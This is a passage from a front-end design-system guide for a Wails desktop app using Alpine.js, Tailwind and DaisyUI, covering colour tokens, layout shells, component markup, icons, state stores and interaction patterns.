info | Neutral context | Document icons in artifact tree |
base-100 | App background | bg-base-100 on body and main content |
base-200 | Panel background | Nav sidebars, session panel, file panel, cards |
base-300 | Borders, hover surfaces | border-base-300, hover:bg-base-300 |
base-content | Primary text | Body copy, labels |
Opacity for hierarchy — the conventional ladder:
| Token | Where used |
|---|---|
text-base-content (100%) | Primary body text, button labels |
text-base-content/80 | Body text one step de-emphasized |
text-base-content/70 | Unfocused nav/list item labels |
text-base-content/60 | Secondary prose, helper text |
opacity-50 | Meta text, section headers, non-active icons |
opacity-40 | Timestamps, sub-counts |
opacity-30 | Path hints, “not configured” text |
opacity-20 | Empty state background icons, disabled glyphs |
Common /N accent patterns:
| Pattern | Meaning |
|---|---|
bg-primary/10 | Background wash for empty state icon tiles |
bg-primary/15 text-primary | Active nav/list row state |
bg-primary/20 | Active icon slot background, avatars |
border-primary/40 | Hover border on cards |
bg-primary/5 | Drag-over wash (very subtle) |
bg-warning/10 border-warning/20 | Note/annotation bubbles |
bg-warning/30 | Completed-phase step marker circle |
bg-success/20 text-success | Completed-phase step button |
3.2 Spacing scale
Follows Tailwind’s default 4px-based scale. Conventions observed:
| Context | Padding |
|---|---|
| Panel headers | px-3 py-3 (256-column panels) or px-6 py-3 (main-content headers) |
| List item | px-2.5 py-2 to px-3 py-2.5 |
| Card body | card-body p-4 |
| Form sections | space-y-4 between fields, space-y-6 between major sections |
| Section top padding | py-5 for content areas, py-3 for toolbars |
| Collapsed nav | w-16 / w-[64px] |
| Expanded nav | w-[220px] |
| Session panel | w-64 (256px) in multi-agent, w-56 (224px) in single-agent |
| File panel | w-72 (288px) |
| Artifact tree | w-56 (224px) |
3.3 Typography scale
All sizes come from Tailwind defaults. Do not use custom px.
| Class | Pixel | Use |
|---|---|---|
text-[10px] | 10 | Micro-labels inside nested artifact trees |
text-xs | 12 | Meta, timestamps, sub-labels, section headers |
text-sm | 14 | Default body, form inputs, list item labels |
text-base | 16 | Content title in header |
text-lg | 18 | Empty-state headline, page title in detail view |
text-xl | 20 | Phase title (h2 for active phase/view) |
text-2xl | 24 | Rare — hero icons, boot screen |
text-4xl | 36 | Empty-state background icon |
Weight conventions: font-medium for item labels, font-semibold for headers, font-bold for h2 page titles.
Font family: Tailwind’s default sans-serif. font-mono for: file paths, artifact IDs (epic/story IDs like E-001), token counts, USD cost, code, raw markdown, session preview paths.
3.4 Radii
| Class | Pixel | Use |
|---|---|---|
rounded | 4 | Tight micro-chips |
rounded-md / rounded | 4-6 | Tight list rows inside trees |
rounded-lg | 8 | Default for nav items, cards, message bubbles, panels inside content |
rounded-xl | 12 | Drop zones, larger panels |
rounded-2xl | 16 | Empty-state icon tiles (w-16 h-16 rounded-2xl) |
rounded-full | 999 | Status dots, avatars |
3.5 Shadows, transitions, motion
- Default transition on interactive surfaces:
transition-colors. - Panel enter/exit:
transition ease-out duration-150with an 8px slide + fade. - Hover card:
transition-shadow+hover:shadow-mdon epic cards,hover:border-primary/40elsewhere. - Status pulse:
animate-pulseon booting/running indicator dots. - Loading spinner: DaisyUI
loading loading-spinner, never custom keyframes. loading-dotsfor chat “thinking” indicator.- No parallax, no hero scroll effects, no Framer Motion.
4. Shell archetypes
4.1 Multi-agent horizontal shell
┌─────┬──────────┬─────────────────────────┬────────┐
│ Nav │ Sessions │ Header (wails-drag) │ Files │
│ │ ├─────────────────────────┤ │
│ │ │ Main content │ │
│ │ │ │ │
│ │ │ │ │
└─────┴──────────┴─────────────────────────┴────────┘
64px 256px flex-1 288px
(coll.) (cond.) (toggle)
Skeleton:
<body class="bg-base-100 text-base-content">
<div x-data class="h-screen flex" x-init="$store.shell.init()">
<nav class="nav-sidebar flex-shrink-0 bg-base-200 border-r border-base-300 flex flex-col h-full"
:style="{ width: $store.shell.collapsed ? '64px' : '220px' }">...</nav>
<aside x-show="activeAgent" class="flex-shrink-0 w-64 bg-base-200/50 border-r border-base-300 flex flex-col h-full">
<!-- Sessions panel -->
</aside>
<div class="flex-1 flex flex-col min-w-0 h-full">
<header class="px-6 py-3 border-b border-base-300 flex items-center gap-3 bg-base-100 wails-drag">...</header>
<div class="flex-1 flex overflow-hidden relative">
<main class="flex-1 overflow-hidden relative">...</main>
<aside x-show="filesOpen" class="flex-shrink-0 w-72 bg-base-200/50 border-l border-base-300 flex flex-col h-full">
<!-- File panel -->
</aside>
</div>
</div>
</div>
</body>
Key properties:
body { overflow: hidden; }— the UI is not scrolled; individual panels manage their own overflow.- Nav width animates via inline CSS transition:
.nav-sidebar { transition: width 200ms ease; }. - Nav collapse state is persisted in
Alpine.store('shell').collapsed. - Active-agent switch triggers lazy engine boot via
window.go.desktop.Shell.EnsureAgentRunning(agentID).
4.2 Single-agent phased vertical shell
┌──────────────────────────────────────────────────┐
│ ①━②━③━④━⑤━⑥━⑦ [sessions] [⚙] │ wails-drag
├──────────┬──────────┬────────────────────────────┤
│ Sessions │ Artifacts│ Main content │
│ (toggle) │ tree │ │
│ 224px │ 224px │ flex-1 │
│ │ │ │
│ │ ├────────────────────────────┤
│ │ │ Bottom bar │
└──────────┴──────────┴────────────────────────────┘
Skeleton:
<div x-data class="h-screen flex flex-col" x-init="$store.reqflow.init()">
<!-- Top phase stepper bar (wails-drag) -->
<div class="wails-drag flex-shrink-0 bg-base-200 border-b border-base-300 px-6 py-3">
<!-- phase chips + toolbar -->
</div>
<!-- Body -->
<div class="flex-1 flex overflow-hidden">
<aside x-show="showSessions" class="w-56 flex-shrink-0 bg-base-200/50 border-r border-base-300 p-3 overflow-y-auto flex flex-col">...</aside>
<aside class="w-56 flex-shrink-0 bg-base-200/50 border-r border-base-300 p-3 overflow-y-auto">...</aside>
<main class="flex-1 flex flex-col overflow-hidden">
<div class="flex-1 overflow-y-auto p-6">...</div>
<!-- Bottom action bar -->
<div class="flex-shrink-0 border-t border-base-300 bg-base-200/50 px-6 py-3 flex items-center justify-between">...</div>
</main>
</div>
</div>
4.3 Window dragging
Wails exposes --wails-draggable: drag; as a CSS custom property. Apply via:
.wails-drag { --wails-draggable: drag; }
Put this on the topmost chrome surface only (header bar in horizontal shell, phase stepper bar in vertical shell). Don’t apply it to anything interactive — dragging steals click events.
5. Component catalog
5.1 Buttons
| Variant | Class | Use |
|---|---|---|
| Primary action | btn btn-primary btn-sm | “Find matches”, “Generate”, “Send”, “Save” |
| Outline secondary | btn btn-sm btn-outline | “Add Note”, “Next Phase” |
| Ghost | btn btn-ghost btn-sm | Tertiary actions in toolbars |
| Icon-only square (sm) | btn btn-ghost btn-sm btn-square | Header toolbar icons (sessions, settings, file toggle) |
| Icon-only square (xs) | btn btn-ghost btn-xs btn-square | In-row actions (delete, refresh) |
| Icon-only circle (xs) | btn btn-ghost btn-xs btn-circle | Show/hide secret toggle |
| Warning | btn btn-warning btn-sm | “Restart agent” when settings are dirty |
| Destructive hint | add text-error or hover:text-error | Delete buttons |
| Inside input group | size matched to the input, e.g. btn btn-ghost btn-sm alongside input-sm |
Button size ladder: btn-xs (toolbars, in-row) → btn-sm (default) → btn (rare; used only for page-level CTAs inside empty-state cards like hello-world’s “Say hello”).
Tab/segment group for mode switches (editor/preview):
<div class="btn-group">
<button class="btn btn-xs" :class="mode === 'split' ? 'btn-active' : ''">
<i class="fa-solid fa-columns"></i>
</button>
<button class="btn btn-xs" :class="mode === 'edit' ? 'btn-active' : ''">
<i class="fa-solid fa-code"></i>
</button>
<button class="btn btn-xs" :class="mode === 'preview' ? 'btn-active' : ''">
<i class="fa-solid fa-eye"></i>
</button>
</div>
Button loading state: Swap icon for <span class="loading loading-spinner loading-xs mr-1"></span> while still showing the label.
5.2 Nav / list item
The single most reused pattern in the app. Same shape serves agent nav, session list, file list, artifact rows.
<button
class="w-full flex items-center gap-3 px-3 py-2.5 rounded-lg transition-colors text-left group"
:class="isActive
? 'bg-primary/15 text-primary'
: 'hover:bg-base-300 text-base-content/70 hover:text-base-content'">
<!-- Icon slot with optional status dot -->
<div class="relative flex-shrink-0 w-8 h-8 rounded-lg flex items-center justify-center"
:class="isActive ? 'bg-primary/20' : 'bg-base-300 group-hover:bg-base-100'">
<i class="fa-solid fa-icon text-sm"></i>
<div x-show="status !== 'idle'"
class="absolute -bottom-0.5 -right-0.5 w-2.5 h-2.5 rounded-full border-2 border-base-200"
:class="{
'bg-success': status === 'running',
'bg-warning animate-pulse': status === 'booting',
'bg-error': status === 'error'
}"></div>
</div>
<!-- Labels -->
<div class="min-w-0 flex-1">
<div class="text-sm font-medium truncate">Primary label</div>
<div class="text-xs opacity-50 truncate">Secondary label</div>
</div>
</button>
Density variants:
- Artifact tree rows (single-agent):
px-2 py-1 rounded text-sm— smaller, no icon slot background. - Nested list rows (stories under epics):
pl-6 pr-2 py-0.5 rounded text-xs. - Session list in multi-agent: uses the
grouppattern so a delete button appears on hover (opacity-0 group-hover:opacity-50 hover:!opacity-100).
5.3 Cards
Basic container card:
<div class="card bg-base-200 border border-base-300 hover:border-primary/40 transition-colors">
<div class="card-body p-4">
<!-- content -->
</div>
</div>
Grid of cards (epics):
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
<div class="card bg-base-200 shadow-sm cursor-pointer hover:shadow-md transition-shadow">
<div class="card-body p-4">
<div class="flex items-center gap-2 mb-1">
<span class="badge badge-primary badge-sm font-mono">E-001</span>
<h3 class="card-title text-sm">Epic title</h3>
</div>
<p class="text-xs text-base-content/50 line-clamp-3">Description excerpt...</p>
<div class="card-actions justify-end mt-2">
<span class="text-xs text-base-content/30">5 stories</span>
</div>
</div>
</div>
</div>
Candidate/ranked-result card:
<div class="card bg-base-200 border border-base-300 hover:border-primary/40 transition-colors">
<div class="card-body p-4">
<div class="flex items-start gap-3">
<div class="shrink-0 w-10 h-10 rounded-full bg-primary/10 text-primary flex items-center justify-center font-semibold text-sm">1</div>
<div class="flex-1 min-w-0">
<div class="flex items-center gap-2 mb-1">
<span class="font-semibold text-base truncate">Jane Doe</span>
<span class="badge badge-sm badge-success">0.92</span>
</div>
<p class="text-sm opacity-80">Reasoning...</p>
<div class="mt-2 text-xs opacity-40 font-mono">/path/to/resume.pdf</div>
</div>
</div>
</div>
</div>
5.4 Badges
| Use | Class |
|---|---|
| Count/meta | badge badge-sm |
| Status good | badge badge-success |
| Status warning | badge badge-warning |
| Tiny inline meta | badge badge-xs |
| Epic ID | badge badge-primary font-mono (or badge-sm) |
| Story ID | badge badge-secondary badge-sm font-mono |
| Outline reference | badge badge-outline badge-xs |
| Restart-required nudge | badge badge-warning badge-xs |
| PRD marker | badge badge-primary badge-xs |
| Ghost/neutral | badge badge-ghost |
Score badges in candidate cards are threshold-driven:
c.Score >= 0.85 ? 'badge-success' : c.Score >= 0.7 ? 'badge-warning' : 'badge-ghost'
5.5 Forms
Text input (small default):
<input type="text" class="input input-bordered input-sm w-full">
Required + empty: add input-warning, with inline hint:
<div x-show="field.required && !hasValue()" class="text-xs text-warning mb-1">
<i class="fa-solid fa-circle-exclamation"></i> Required
</div>
Number:
<input type="number" class="input input-bordered input-sm w-full"
:min="field.validation?.min" :max="field.validation?.max">
Textarea:
<textarea class="textarea textarea-bordered w-full min-h-[7rem] text-sm leading-snug" rows="5"></textarea>
Variants: textarea-sm for dense settings; add font-mono text-sm leading-relaxed resize-none for markdown/spec editors.
Select:
<select class="select select-bordered select-sm w-full">
<option value="...">Label</option>
</select>
Toggle:
<input type="checkbox" class="toggle toggle-primary toggle-sm">
Secret (password) with visibility toggle:
<div class="relative flex-1">
<input :type="showSecret ? 'text' : 'password'"
class="input input-bordered input-sm w-full pr-10"
:placeholder="hasValue() ? '********' : 'Enter value...'"
@change="saveSecret($event.target.value); $event.target.value = ''">
<button class="absolute right-2 top-1/2 -translate-y-1/2 btn btn-ghost btn-xs btn-circle"
@click="showSecret = !showSecret">
<i class="fa-solid text-xs" :class="showSecret ? 'fa-eye-slash' : 'fa-eye'"></i>
</button>
</div>
Secret inputs never bind :value — they show placeholder ******** when a value exists, and only commit on @change, clearing the DOM input after save so the raw value never lingers in the DOM.
Path input + browse:
<div class="flex gap-2">
<input type="text" class="input input-bordered input-sm flex-1"
:value="currentValue()" @change="save($event.target.value)">
<button class="btn btn-ghost btn-sm" @click="browse()">
<i class="fa-solid fa-folder-open text-xs"></i> Browse
</button>
</div>
The browse() handler calls window.go.desktop.Shell.PickFolder(...) or PickFile(...).
Form label + description:
<label class="block text-sm font-medium mb-1">Display name</label>
<div class="text-xs opacity-50 mb-2">Optional description.</div>
5.6 Alerts
| Kind | Class | Use |
|---|---|---|
| Error | alert alert-error py-2 text-sm | Runtime errors, validation failures |
| Warning | alert alert-warning | Missing required settings banner |
| Success / info / neutral | alert alert-success / alert alert-info | Not currently used — reserve for future |
Standard error shape:
<div class="alert alert-error py-2 text-sm">
<i class="fa-solid fa-triangle-exclamation"></i>
<span>Error message</span>
</div>
5.7 Collapsible sections (settings)
DaisyUI collapse with arrow, open by default:
<div class="collapse collapse-arrow bg-base-200 border border-base-300">
<input type="checkbox" checked>
<div class="collapse-title font-semibold flex items-center gap-2">
<i class="fa-solid fa-sliders text-sm opacity-60"></i>
Section title
<span class="badge badge-warning badge-xs ml-2">restart required</span>
</div>
<div class="collapse-content space-y-4">
<!-- fields -->
</div>
</div>
Highlight a collapse when it has missing required fields: :class="missingRequired ? 'border-warning' : ''".
5.8 Empty states
Primary pattern (main content area):
<div class="flex items-center justify-center h-full">
<div class="text-center max-w-sm">
<div class="w-16 h-16 rounded-2xl bg-primary/10 flex items-center justify-center mx-auto mb-4">
<i class="fa-solid fa-magnifying-glass text-primary text-xl"></i>
</div>
<h2 class="text-lg font-semibold mb-1">No matches yet</h2>
<p class="text-sm opacity-60">Upload a PDF and click Find matches.</p>
</div>
</div>
Muted variant (used in phases 1–7 of single-agent shell): drops the tinted icon tile and uses a large low-opacity glyph:
<div class="flex-1 flex items-center justify-center">
<div class="text-center text-base-content/30 max-w-md">
<i class="fa-solid fa-file-code text-4xl mb-4 block"></i>
<p class="font-medium mb-2">No specification yet</p>
<p class="text-sm mb-4">Generate from your PRD and discussion notes.</p>
<button class="btn btn-primary btn-sm"><i class="fa-solid fa-wand-magic-sparkles mr-1"></i> Generate Spec</button>
</div>
</div>
Compact (narrow panels, file list empty):
<div class="text-center">
<i class="fa-solid fa-file-circle-plus text-2xl opacity-20 mb-2"></i>
<p class="text-xs opacity-40">No files found</p>
<p class="text-xs opacity-30 mt-1">Drop files here or add to input folder.</p>
</div>
5.9 Loading states
| Use | Class |
|---|---|
| Inline spinner in button | loading loading-spinner loading-xs mr-1 |
| Panel-level spinner | loading loading-spinner loading-sm opacity-40 |
| Hero / full-screen spinner | loading loading-spinner loading-lg text-primary |
| Chat “thinking…” | loading loading-dots loading-sm |
Boot overlay (covers a section while the engine is starting):
<div x-show="status === 'booting'"
x-transition
class="absolute inset-0 flex items-center justify-center bg-base-100/80 z-10">
<div class="text-center">
<span class="loading loading-spinner loading-lg text-primary"></span>
<p class="mt-3 text-sm opacity-60">Starting engine...</p>
</div>
</div>
Generation overlay (long-running content creation):
<div class="flex-1 flex items-center justify-center">
<div class="text-center">
<span class="loading loading-spinner loading-lg text-primary"></span>
<p class="mt-4 text-base-content/60">Generating timeline estimates...</p>
<p class="text-sm text-base-content/30 mt-1">Analyzing epics and stories</p>
</div>
</div>
5.10 Chat / conversation
Layout:
<div class="flex gap-3" :class="msg.role === 'user' ? 'justify-end' : ''">
<!-- Avatar (non-user only) -->
<div x-show="msg.role !== 'user'"
class="w-8 h-8 rounded-full flex items-center justify-center flex-shrink-0"
:class="msg.role === 'note' ? 'bg-warning/20' : 'bg-primary/20'">
<i class="text-xs" :class="msg.role === 'note'
? 'fa-solid fa-sticky-note text-warning'
: 'fa-solid fa-robot text-primary'"></i>
</div>
<!-- Bubble -->
<div class="max-w-[75%] rounded-lg px-4 py-3"
:class="{
'bg-primary text-primary-content': msg.role === 'user',
'bg-base-200': msg.role === 'assistant',
'bg-warning/10 border border-warning/20': msg.role === 'note'
}">
<div x-show="msg.role === 'note'" class="text-xs font-semibold text-warning/70 mb-1">Technical Note</div>
<div class="text-sm whitespace-pre-wrap doc-preview" x-text="msg.content"></div>
</div>
<!-- Avatar (user) -->
<div x-show="msg.role === 'user'"
class="w-8 h-8 rounded-full bg-primary/20 flex items-center justify-center flex-shrink-0">
<i class="fa-solid fa-user text-xs text-primary"></i>
</div>
</div>
Auto-scroll to bottom:
<div x-ref="chatScroll"
x-effect="$refs.chatScroll && ($refs.chatScroll.scrollTop = $refs.chatScroll.scrollHeight)"
class="flex-1 overflow-y-auto space-y-4 mb-4 pr-2">...</div>
Chat input with Cmd/Ctrl+Enter send:
<div class="flex gap-2">
<textarea class="textarea textarea-bordered flex-1 text-sm" rows="2"
placeholder="..."
@keydown.enter.meta="send()" @keydown.enter.ctrl="send()"></textarea>
<button class="btn btn-primary btn-sm self-end">
<i class="fa-solid fa-paper-plane"></i>
</button>
</div>
<div class="text-xs text-base-content/30 mt-1">Cmd+Enter to send</div>
5.11 Phase stepper
<div class="flex items-center gap-1">
<template x-for="phase in phases" :key="phase.number">
<div class="flex items-center">
<button class="phase-step flex items-center gap-2 px-3 py-1.5 rounded-lg text-sm font-medium transition-colors"
:class="{
'active bg-primary text-primary-content': phase.number === current,
'bg-success/20 text-success': phase.number < current,
'text-base-content/40 cursor-default': phase.number > current
}"
:disabled="phase.number > current"
@click="phase.number < current && goToPhase(phase.number)">
<span class="w-5 h-5 rounded-full flex items-center justify-center text-xs font-bold"
:class="{
'bg-primary-content/20': phase.number === current,
'bg-success/30': phase.number < current,
'bg-base-300': phase.number > current
}"
x-text="phase.number < current ? '✓' : phase.number">
</span>
<span x-text="phase.label" class="hidden sm:inline"></span>
</button>
<div x-show="phase.number < phases.length"
class="w-4 h-0.5 mx-0.5"
:class="phase.number < current ? 'bg-success/40' : 'bg-base-300'"></div>
</div>
</template>
</div>
Supporting CSS:
.phase-step { transition: all 200ms ease; }
.phase-step.active { transform: scale(1.05); }
Rules:
- Future phases are disabled, cursor-default, at 40% opacity.
- Completed phases are green (
bg-success/20 text-success) with a ✓. - Active phase is primary-filled and slightly scaled up.
- Connectors between steps mirror step state.
5.12 Drag-and-drop
Overlay on a panel while dragging:
<aside @dragover.prevent="dragOver = true"
@dragleave.prevent="dragOver = false"
@drop.prevent="handleDrop($event)"
class="relative ...">
<div x-show="dragOver" x-transition
class="absolute inset-0 z-20 bg-primary/10 border-2 border-dashed border-primary rounded-lg flex items-center justify-center pointer-events-none">
<div class="text-center">
<i class="fa-solid fa-cloud-arrow-up text-primary text-2xl mb-2"></i>
<p class="text-sm font-medium text-primary">Drop files here</p>
</div>
</div>
</aside>
Persistent drop zone (centerpiece of a page):
<div x-data="{ dragOver: false }"
class="border-2 border-dashed border-base-300 rounded-xl p-8 text-center transition-all"
:class="{ 'drop-active': dragOver }"
@dragover.prevent="dragOver = true"
@dragleave.prevent="dragOver = false"
@drop.prevent="dragOver = false; handleDrop($event)">
<i class="fa-solid fa-cloud-arrow-up text-4xl text-base-content/20 mb-4 block"></i>
<p class="text-base-content/40 mb-3">Drop markdown files here</p>
<button class="btn btn-sm btn-primary"><i class="fa-solid fa-folder-open mr-1"></i> Browse Files</button>
<p class="text-xs text-base-content/30 mt-3">Supports .md, .markdown, .txt</p>
</div>
Supporting CSS (drop-active emphasis):
.drop-active {
border-color: oklch(var(--p)) !important;
background-color: oklch(var(--p) / 0.05);
}
5.13 Markdown preview
Content rendered via doc-preview class gets basic markdown styling:
.doc-preview h1 { font-size: 1.5rem; font-weight: 700; margin: 1rem 0 0.5rem; }
.doc-preview h2 { font-size: 1.25rem; font-weight: 600; margin: 0.75rem 0 0.5rem; }
.doc-preview h3 { font-size: 1.1rem; font-weight: 600; margin: 0.5rem 0 0.25rem; }
.doc-preview p { margin: 0.25rem 0; }
.doc-preview ul, .doc-preview ol { padding-left: 1.5rem; margin: 0.25rem 0; }
.doc-preview li { margin: 0.1rem 0; }
.doc-preview code { background: oklch(var(--b3)); padding: 0.1rem 0.3rem; border-radius: 0.25rem; font-size: 0.875rem; }
.doc-preview pre { background: oklch(var(--b3)); padding: 0.75rem; border-radius: 0.5rem; overflow-x: auto; }
.doc-preview pre code { background: none; padding: 0; }
.doc-preview hr { border-color: oklch(var(--bc) / 0.1); margin: 1rem 0; }
.doc-preview blockquote { border-left: 3px solid oklch(var(--bc) / 0.2); padding-left: 1rem; opacity: 0.8; }
Use oklch(var(--*)) to reference DaisyUI theme variables directly: --p (primary), --b3 (base-300), --bc (base-content), etc. This is the only place in the system where CSS custom property access is routine.
5.14 Split editor / preview
Three-mode toggle (split/edit/preview) + synchronized textarea and preview pane:
<div class="flex-1 flex gap-4 min-h-0 overflow-hidden">
<div x-show="viewMode !== 'preview'"
class="flex-1 flex flex-col min-h-0"
:class="viewMode === 'split' ? 'max-w-[50%]' : ''">
<div class="flex items-center justify-between mb-2">
<span class="text-xs font-semibold text-base-content/50 uppercase tracking-wider">Editor</span>
<span x-show="dirty" class="text-xs text-warning">
<i class="fa-solid fa-circle text-[6px] mr-1"></i>Unsaved
</span>
</div>
<textarea class="textarea textarea-bordered flex-1 font-mono text-sm leading-relaxed resize-none"
x-model="editContent"
@input="dirty = true"
@blur="saveEdit()"
@keydown.meta.s.prevent="saveEdit()"
@keydown.ctrl.s.prevent="saveEdit()"></textarea>
</div>
<div x-show="viewMode !== 'edit'"
class="flex-1 flex flex-col min-h-0"
:class="viewMode === 'split' ? 'max-w-[50%]' : ''">
<div class="flex items-center mb-2">
<span class="text-xs font-semibold text-base-content/50 uppercase tracking-wider">Preview</span>
</div>
<div class="flex-1 overflow-y-auto bg-base-200 rounded-lg p-4 doc-preview">
<div x-html="renderPreview()"></div>
</div>
</div>
</div>
5.15 Bottom action bar (single-agent only)
<div class="flex-shrink-0 border-t border-base-300 bg-base-200/50 px-6 py-3 flex items-center justify-between">
<span x-show="status" x-text="status" class="text-sm text-base-content/60"></span>
<button class="btn btn-sm btn-outline" :disabled="phase >= phases.length" @click="advance()">
Next Phase <i class="fa-solid fa-chevron-right ml-1"></i>
</button>
</div>
5.16 Copy-to-clipboard button
<button class="btn btn-ghost btn-xs" @click="copyToClipboard()">
<i class="fa-solid fa-copy mr-1"></i>
<span x-text="copied ? 'Copied!' : 'Copy'"></span>
</button>
Toggle the copied flag to true for ~1.5s after success, then reset.
5.17 Tabs (in-content)
The comms phase uses a button-row “tabs” pattern rather than DaisyUI’s tabs component:
<div class="flex gap-1 mb-3 flex-shrink-0">
<template x-for="item in items" :key="item.template">
<button class="btn btn-xs"
:class="selected === item.template ? 'btn-primary' : 'btn-ghost'"
@click="selected = item.template"
x-text="item.title"></button>
</template>
</div>
6. Font Awesome icon inventory
Every icon that appears in the shipped apps, grouped by role. Use these first before reaching for alternatives.
App/brand: fa-bolt (Nexus logo)
Nav/chrome: fa-gear, fa-angles-left, fa-angles-right, fa-xmark, fa-plus, fa-chevron-right, fa-arrow-left, fa-rotate-right, fa-arrows-rotate
Files: fa-folder-open, fa-folder, fa-folder-plus, fa-file, fa-file-lines, fa-file-code, fa-file-circle-plus, fa-paperclip, fa-cloud-arrow-up, fa-arrow-up-right-from-square (open external)
Chat / communication: fa-comments, fa-paper-plane, fa-robot, fa-user, fa-sticky-note, fa-bullhorn
Generation / action: fa-wand-magic-sparkles, fa-magnifying-glass, fa-copy
Workflow: fa-layer-group (epics), fa-list-check (stories), fa-calendar-days (timeline)
Settings/fields: fa-sliders, fa-eye, fa-eye-slash, fa-trash-can, fa-circle-exclamation, fa-triangle-exclamation, fa-circle (tiny marker dot)
Edit/view mode toggle: fa-code, fa-columns, fa-eye
Session / history: fa-clock-rotate-left
Always fa-solid (solid style). All icons are the free tier — don’t introduce Pro-only glyphs. Sizing is driven by the wrapping element, not fa-* size classes; use text-xs, text-sm, text-lg, text-2xl, text-4xl on the <i>.
7. State management patterns
Alpine stores are the state spine. No Redux, no Pinia, no context API.
7.1 Store declaration
document.addEventListener('alpine:init', () => {
Alpine.store('storename', {
// reactive state
items: [],
loading: false,
// methods
async init() { ... },
async load() { ... },
});
});
7.2 Scoped bus bridge
Every agent’s UI talks to its engine via createBus(agentID) — a thin wrapper over Wails events with scoping:
const bus = createBus('agent-id');
bus.emit('domain.request', { data });
bus.on('domain.result', (payload) => { /* handle */ });
bus.off('domain.result', handler);
await bus.call('req.request', 'req.response', payload, timeoutMs);
Outbound channel: {agentID}:nexus (engine → UI).
Inbound channel: {agentID}:nexus.input (UI → engine).
Envelope: { type: "event.name", payload: {...}, timestamp: "ISO" }.
7.3 Wails-bound shell services
The shell (pkg/desktop/shell.go) exposes Wails methods directly on window.go.desktop.Shell.* — these are the only places UI calls non-bus APIs:
| Method | Purpose |
|---|---|
ListAgents() | Enumerate agents with current status |
EnsureAgentRunning(agentID) | Lazy boot |
StopAgent(agentID) | Stop engine |
NewSession(agentID) / RecallSession(agentID, sessionID) / ListSessions(agentID) / DeleteSession(agentID, sessionID) | Session ops |
PickFile(agentID, title, filter) / PickFolder(agentID, title) | Native dialogs |
OpenExternal(url) / RevealInFinder(path) / Notify(title, body) | OS integration |
ListFiles(agentID, filter) / OutputDir(agentID) / CopyFileToInputDir(agentID, sourcePath) / WatchInputDir(agentID) | File portal |
GetSettingsSchema() / GetSettings() / UpdateSetting(scope, key, value) / UpdateSecret(scope, key, value) / DeleteSetting(scope, key, secret) / HasMissingRequired() | Settings |
Rule: shell services are only called from the UI layer; agents communicate with the shell via bus events, not by invoking these methods.
7.4 Settings schema → UI rendering
The shell returns a settings schema with fields like:
{
"shell": [{ "key": "shared_data_dir", "display": "Shared data folder", "type": "path" }],
"agents": {
"my-agent": [
{ "key": "input_dir", "display": "Input folder", "type": "path", "required": true },
{ "key": "api_key", "display": "API key", "type": "string", "secret": true, "required": true }
]
}
}
Types and their rendering:
type | Recipe |
|---|---|
string | input input-bordered input-sm (or secret variant if secret: true) |
path | input + browse button calling PickFolder/PickFile |
number | input type=number with optional min/max from validation |
bool | toggle toggle-primary toggle-sm |
select | select select-bordered select-sm with field.options |
text | textarea textarea-bordered textarea-sm min-h-[6rem] |
Secrets never render a current value — just ******** placeholder when present.
7.5 Session list
Sessions are tracked per agent. The shell emits {agentID}:sessions.updated via Wails events (not through the bus bridge) when the list changes. Session metadata includes:
id,title(fromsession.meta.titleevent),created_at,status,preview(arbitrary JSON fromsession.meta.previewevent)
Session-list rendering uses the standard nav/list-item pattern (§5.2) with a status dot, title, timestamp, and optional preview line.
7.6 UI state persistence
Two bus events drive cross-session UI state:
ui.state.save— UI emits with opaque{ state: {...} }payload. Shell writes toui-state.jsonin the engine session dir.ui.state.restore— Shell emits on session recall. UI rehydrates.
Designs that have non-trivial UI state (partially filled forms, scroll positions, expanded panels, active tab) should persist + rehydrate via these events. Keep the payload JSON-serializable and opaque to the shell.
8. Interaction and accessibility patterns
8.1 Keyboard
Cmd+Enter/Ctrl+Enter— submit in chat textareas (@keydown.enter.meta,@keydown.enter.ctrl)Cmd+S/Ctrl+S— save in spec/timeline editors (@keydown.meta.s.prevent,@keydown.ctrl.s.prevent)Enter— submit in single-line inputs (hello world)- No global shortcuts currently.
Show hints inline as text-xs opacity-30 or text-xs text-base-content/30 mt-1.
8.2 Hover reveal
Destructive or secondary in-row actions hide by default, appear on hover of the parent .group:
<div class="group ...">
<span>Content</span>
<button class="btn btn-ghost btn-xs btn-square opacity-0 group-hover:opacity-50 hover:!opacity-100 hover:text-error">
<i class="fa-solid fa-xmark text-xs"></i>
</button>
</div>
8.3 Transitions
Side panel enter/exit (left panel):
x-transition:enter="transition ease-out duration-150"
x-transition:enter-start="opacity-0 -translate-x-2"
x-transition:enter-end="opacity-100 translate-x-0"
For right-side panels, reverse the translate (translate-x-2). For vertical reveals (add-note input), use default x-transition for a simple fade/slide.
8.4 Titles and tooltips
Native title attribute is the standard tooltip. No tooltip library is used.
<button title="Refresh file list">...</button>
8.5 Required-field gating
Shell’s HasMissingRequired() returns a map of agentID → [missingKeys]. Pattern:
- Top-of-settings banner:
alert alert-warningsummarizing “Required settings missing”. - On the offending collapse:
:class="missing ? 'border-warning' : ''". - On the field:
input-warningclass + inline “Required” hint. - Agents with missing required settings cannot boot — nav-click routes to settings instead.
8.6 Dirty / unsaved
- Textarea-based editors track a
dirtyflag set on@input, cleared on@blur/ save. - Display inline
text-xs text-warningwith a<i class="fa-solid fa-circle text-[6px] mr-1"></i>dot. - Show a Save button (
btn btn-xs btn-primary) only when dirty.
8.7 Restart required
When a running agent has changed settings:
- Badge in section title:
badge badge-warning badge-xs ml-2“restart required” - Restart button at bottom of section:
btn btn-warning btn-smwithfa-rotate-righticon
9. Multi-agent vs single-agent — differences at a glance
| Concern | Multi-agent (cmd/desktop) | Single-agent (cmd/techlead) |
|---|---|---|
| Primary navigation | Left nav, lazy engine boot | Top phase stepper bar |
| Session list | Dedicated left panel, always visible when agent active | Toggleable panel, opt-in |
| File browser | Right toggleable panel (shell feature) | Integrated into phase 1 import UI |
| Settings | Dedicated view in main, triggered from nav | Modal-ish overlay on main, triggered from toolbar |
| Agent boot | Multiple engines, one per agent, lazy | Single engine, boots on init |
| Next action | User-driven per agent | “Next Phase” button in bottom action bar |
| Progression | Not ordered — user picks agent | Ordered — phase N unlocks when N-1 complete |
| Artifacts | Opaque — agents render their own sections | Shared artifact tree in left sidebar |
When extending multi-agent: check whether the feature is in-session (both kinds of shell) or wrapper (desktop shell only). See the CLAUDE.md parity rule.
When extending single-agent: new phases should follow the existing N-ary pattern — empty state → generating state → content → edit mode → unsaved indicator.
10. Opinionated “what NOT to do” list
- No new frameworks. Alpine + Tailwind + DaisyUI is the full toolbox. No React, Vue, Svelte, jQuery, Lodash, etc.
- No light theme unless explicitly requested — dark theme is the reference experience.
